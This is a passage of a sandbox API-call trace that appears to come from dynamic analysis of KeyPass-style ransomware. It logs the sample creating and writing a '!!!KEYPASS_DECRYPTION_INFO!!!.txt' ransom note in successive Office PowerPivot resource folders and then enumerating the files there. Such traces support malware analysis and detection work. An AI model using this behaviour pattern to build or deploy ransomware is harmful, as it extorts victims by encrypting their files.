dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0255.264] GetFileType (hFile=0x8ec) returned 0x1 [0255.264] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.264] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.265] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.265] WriteFile (in: hFile=0x8ec, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.265] WriteFile (in: hFile=0x8ec, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.266] CloseHandle (hObject=0x8ec) returned 1 [0255.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x39881b8 [0255.266] FindNextFileW (in: hFindFile=0x39881b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.266] FindNextFileW (in: hFindFile=0x39881b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.266] FindNextFileW (in: hFindFile=0x39881b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.266] FindNextFileW (in: hFindFile=0x39881b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.266] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.266] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.266] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.266] GetLastError () returned 0x3f0 [0255.266] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.267] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0255.267] GetFileType (hFile=0x8f0) returned 0x1 [0255.267] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.267] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.267] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.268] WriteFile (in: hFile=0x8f0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.268] WriteFile (in: hFile=0x8f0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.269] CloseHandle (hObject=0x8f0) returned 1 [0255.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987d38 [0255.269] FindNextFileW (in: hFindFile=0x3987d38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.269] FindNextFileW (in: hFindFile=0x3987d38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.269] FindNextFileW (in: hFindFile=0x3987d38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.269] FindNextFileW (in: hFindFile=0x3987d38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.269] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.269] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.269] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.269] GetLastError () returned 0x3f0 [0255.269] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.270] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0255.280] GetFileType (hFile=0x8f4) returned 0x1 [0255.280] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.280] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.280] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.280] WriteFile (in: hFile=0x8f4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.281] WriteFile (in: hFile=0x8f4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.281] CloseHandle (hObject=0x8f4) returned 1 [0255.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987b38 [0255.281] FindNextFileW (in: hFindFile=0x3987b38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.281] FindNextFileW (in: hFindFile=0x3987b38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.281] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.282] FindNextFileW (in: hFindFile=0x3987b38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.282] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.282] FindNextFileW (in: hFindFile=0x3987b38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.282] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.282] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.282] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.282] GetLastError () returned 0x3f0 [0255.282] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.282] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0255.283] GetFileType (hFile=0x8e8) returned 0x1 [0255.283] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.284] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.284] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.284] WriteFile (in: hFile=0x8e8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.284] WriteFile (in: hFile=0x8e8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.285] CloseHandle (hObject=0x8e8) returned 1 [0255.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987d78 [0255.285] FindNextFileW (in: hFindFile=0x3987d78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x3987d78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.285] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.285] FindNextFileW (in: hFindFile=0x3987d78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.285] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.285] FindNextFileW (in: hFindFile=0x3987d78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.285] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.285] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.285] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.285] GetLastError () returned 0x3f0 [0255.286] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.286] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0255.288] GetFileType (hFile=0x8f8) returned 0x1 [0255.288] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.288] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.288] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.288] WriteFile (in: hFile=0x8f8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.289] WriteFile (in: hFile=0x8f8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.289] CloseHandle (hObject=0x8f8) returned 1 [0255.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x39881f8 [0255.290] FindNextFileW (in: hFindFile=0x39881f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.290] FindNextFileW (in: hFindFile=0x39881f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.290] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.290] FindNextFileW (in: hFindFile=0x39881f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.290] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.290] FindNextFileW (in: hFindFile=0x39881f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.290] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.290] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.290] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.290] GetLastError () returned 0x3f0 [0255.290] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.290] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0255.291] GetFileType (hFile=0x8fc) returned 0x1 [0255.291] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.291] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.292] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.292] WriteFile (in: hFile=0x8fc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.292] WriteFile (in: hFile=0x8fc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.293] CloseHandle (hObject=0x8fc) returned 1 [0255.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987b78 [0255.293] FindNextFileW (in: hFindFile=0x3987b78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.293] FindNextFileW (in: hFindFile=0x3987b78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.293] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.293] FindNextFileW (in: hFindFile=0x3987b78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.293] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.293] FindNextFileW (in: hFindFile=0x3987b78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.293] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.293] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.293] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.293] GetLastError () returned 0x3f0 [0255.293] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.293] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0255.295] GetFileType (hFile=0x900) returned 0x1 [0255.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.295] WriteFile (in: hFile=0x900, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.296] WriteFile (in: hFile=0x900, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.296] CloseHandle (hObject=0x900) returned 1 [0255.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987c38 [0255.306] FindNextFileW (in: hFindFile=0x3987c38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.306] FindNextFileW (in: hFindFile=0x3987c38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.306] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.306] FindNextFileW (in: hFindFile=0x3987c38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.306] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.306] FindNextFileW (in: hFindFile=0x3987c38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.306] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.306] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.306] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.306] GetLastError () returned 0x3f0 [0255.307] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.307] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel 